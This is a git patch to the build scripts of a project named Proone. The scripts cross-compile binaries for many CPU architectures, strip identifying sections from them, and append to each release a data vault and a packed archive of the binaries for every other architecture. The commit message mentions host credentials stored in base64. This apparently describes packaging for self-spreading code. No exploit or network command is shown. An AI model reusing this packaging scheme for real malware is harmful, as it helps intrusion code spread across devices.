From 76d4d6b2bafada7b790e817b7324d53f3d3a0c7f Mon Sep 17 00:00:00 2001 From: David Timber Date: Thu, 20 Aug 2020 12:23:35 +0930 Subject: Progress ... * Move DVault out of executable. Dynamically load it on startup * Improved testing scheme * Tidy up prne_*assert* macro series * Protocol: store host credentials in base64 string. No mask * Use the lock shm as a shared_global so the stats can persist * mmap() the executable read-only for later use --- scripts/build-all.sh | 93 ++++++++++++++++++++++++++++++++------------------- scripts/build-arch.sh | 30 +++++++++++++++++ scripts/xcomp.sh | 21 ------------ 3 files changed, 88 insertions(+), 56 deletions(-) create mode 100755 scripts/build-arch.sh delete mode 100755 scripts/xcomp.sh (limited to 'scripts') diff --git a/scripts/build-all.sh b/scripts/build-all.sh index 8001152..f3b0a51 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -1,4 +1,6 @@ #!/bin/bash +set -e + ARCH_ARR=( "aarch64" "armv4t" @@ -38,57 +40,78 @@ if [ $ARR_SIZE -ne "${#TOOLCHAIN_ARR[@]}" ] || [ $ARR_SIZE -ne "${#HOST_ARR[@]}" exit 2 fi -set -e - PROONE_PREFIX="builds" -PROONE_DEBUG_SYM="$PROONE_PREFIX/debug" -PROONE_REL_BIN="$PROONE_PREFIX/proone" -PROONE_TOOLS="$PROONE_PREFIX/tools" -PROONE_MISC_BIN="$PROONE_PREFIX/misc" -export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM/proone.debug" -export PROONE_REL_BIN_PREFIX="$PROONE_REL_BIN/proone" -export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN/" -PROONE_PACKER="$PROONE_TOOLS/proone-pack" -PROONE_UNPACKER="$PROONE_TOOLS/proone-unpack" -PROONE_BIN_ARCHIVE="$PROONE_PREFIX/bin-archive" +PROONE_DEBUG_SYM_DIR="$PROONE_PREFIX/debug" +PROONE_EXEC_DIR="$PROONE_PREFIX/proone.bin" +PROONE_TOOLS_DIR="$PROONE_PREFIX/tools" +PROONE_MISC_BIN_DIR="$PROONE_PREFIX/misc" +PROONE_BINARCH_DIR="$PROONE_PREFIX/binarch" +PROONE_REL_DIR="$PROONE_PREFIX/proone" +export PROONE_DEBUG_SYM_PREFIX="$PROONE_DEBUG_SYM_DIR/" +export PROONE_EXEC_PREFIX="$PROONE_EXEC_DIR/exec" +export PROONE_MISC_BIN_PREFIX="$PROONE_MISC_BIN_DIR/" +PROONE_REL_PREFIX="$PROONE_REL_DIR/proone" +PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch" +PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" +PROONE_TOOLS=" + proone-pack + proone-unpack + proone-list-arch + proone-mkdvault + proone-ipaddr-arr +" + rm -rf "$PROONE_PREFIX" -mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM" "$PROONE_REL_BIN" "$PROONE_TOOLS" "$PROONE_MISC_BIN" +mkdir "$PROONE_PREFIX" "$PROONE_DEBUG_SYM_DIR" "$PROONE_EXEC_DIR" "$PROONE_TOOLS_DIR" "$PROONE_MISC_BIN_DIR" "$PROONE_BINARCH_DIR" "$PROONE_REL_DIR" set +e make distclean set -e # native build for tools ./configure $PROONE_AM_CONF -make -j$(nproc) -cp -a src/proone-pack "$PROONE_PACKER" -cp -a src/proone-unpack "$PROONE_UNPACKER" -cp -a src/proone-list-arch "$PROONE_TOOLS/proone-list-arch" -cp -a src/proone-mask "$PROONE_TOOLS/proone-mask" -cp -a src/proone-print-all-data "$PROONE_TOOLS/proone-print-all-data" -cp -a src/proone-resolv "$PROONE_TOOLS/proone-resolv" +cd src +make -j$(nproc) $PROONE_TOOLS +cd .. +for t in $PROONE_TOOLS; do + cp -a "src/$t" "$PROONE_TOOLS_DIR" +done +cp -a "./src/run-tests.sh" "./src/testlist" "$PROONE_MISC_BIN_DIR" make distclean +# generate dvault +"$PROONE_TOOLS_DIR/proone-mkdvault" > "$PROONE_DVAULT" +DVAULT_SIZE=$(stat -c "%s" "$PROONE_DVAULT") + # cross-compile targets for (( i = 0; i < ARR_SIZE; i += 1 )); do - PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/xcomp.sh" - if [ $? -ne 0 ]; then - exit $? - fi + PROONE_HOST="${HOST_ARR[$i]}" PROONE_BIN_ARCH="${ARCH_ARR[$i]}" xcomp linux-app "${TOOLCHAIN_ARR[$i]}" "scripts/build-arch.sh" done # pack -"$PROONE_PACKER" "$PROONE_REL_BIN_PREFIX."* | base64 >> "$PROONE_BIN_ARCHIVE" -if [ $? -ne 0 ]; then - exit $? -fi - -# archive test +for (( i = 0; i < ARR_SIZE; i += 1 )); do + this_arch="${ARCH_ARR[$i]}" + other_archs="" + rel="$PROONE_REL_PREFIX.$this_arch" + binarch="$PROONE_BINARCH_PREFIX.$this_arch" + for (( j = 0; j < ARR_SIZE; j += 1 )); do + if [ $i -eq $j ]; then + continue + fi + other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}" + done -# size report -total_bin_size=$(cat "$PROONE_REL_BIN_PREFIX."* | wc -c) -bin_archive_size=$(wc -c "$PROONE_BIN_ARCHIVE" | awk '{print $1;}') -echo "print(\"archive/bin = $bin_archive_size / $total_bin_size (\" + str($bin_archive_size / $total_bin_size * 100) + \"%)\")" | python3 + "$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch" + binarch_size="$(stat -c "%s" "$binarch")" -exit 0 + cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel" + # TODO: parameterise BIN_ALIGNMENT? + ./src/build-utils.sh align-file 8 "$rel" + ./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel" + ./src/build-utils.sh append-uint16 0 "$rel" + ./src/build-utils.sh append-uint32 $binarch_size "$rel" + cat "$PROONE_DVAULT" >> "$rel" + ./src/build-utils.sh align-file 8 "$rel" + cat "$binarch" >> "$rel" +done diff --git a/scripts/build-arch.sh b/scripts/build-arch.sh new file mode 100755 index 0000000..7c5301f --- /dev/null +++ b/scripts/build-arch.sh @@ -0,0 +1,30 @@ +#!/bin/bash +set -e + +MISC_BIN=" + proone-stress + proone-resolv + proone-test_proto + proone-test_util +" + +separate_debug() { + cp -a "$1" "$2" + "$PROONE_HOST-objcopy" --only-keep-debug "$2" "$3" + "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$2" + "$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2" +} + +BIN_PATH="$PROONE_EXEC_PREFIX.$PROONE_BIN_ARCH" + +./configure --host="$PROONE_HOST" $PROONE_AM_CONF +cd src +make -j$(nproc) proone.bin $MISC_BIN +cd .. + +separate_debug src/proone.bin "$BIN_PATH" "$PROONE_DEBUG_SYM_PREFIX""proone.sym.$PROONE_BIN_ARCH" +for b in $MISC_BIN; do + separate_debug "src/$b" "$PROONE_MISC_BIN_PREFIX/$b.$PROONE_BIN_ARCH" "$PROONE_DEBUG_SYM_PREFIX""$b.sym.$PROONE_BIN_ARCH" +done + +make distclean diff --git a/scripts/xcomp.sh b/scripts/xcomp.sh deleted file mode 100755 index 3aa050f..0000000 --- a/scripts/xcomp.sh +++ /dev/null @@ -1,21 +0,0 @@ -#!/bin/bash -set -e - -separate_debug() { - cp -a "$1" "$2" - "$PROONE_HOST-objcopy" --only-keep-debug "$2" "$3" - "$PROONE_HOST-strip" -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag --remove-section=.jcr --remove-section=.got.plt --remove-section=.eh_frame --remove-section=.eh_frame_ptr --remove-section=.eh_frame_hdr "$2" - "$PROONE_HOST-objcopy" --add-gnu-debuglink="$3" "$2" -} - -BIN_DBG="$PROONE_DEBUG_SYM_PREFIX.$PROONE_BIN_ARCH" -BIN_REL="$PROONE_REL_BIN_PREFIX.$PROONE_BIN_ARCH" - -./configure --host="$PROONE_HOST" $PROONE_AM_CONF -make -j$(nproc) - -separate_debug src/proone "$BIN_REL" "$BIN_DBG" -cp -a src/proone-stress "$PROONE_MISC_BIN_PREFIX/proone-stress.$PROONE_BIN_ARCH" -cp -a src/proone-arch-test "$PROONE_MISC_BIN_PREFIX/proone-arch-test.$PROONE_BIN_ARCH" - -make distclean -- cgit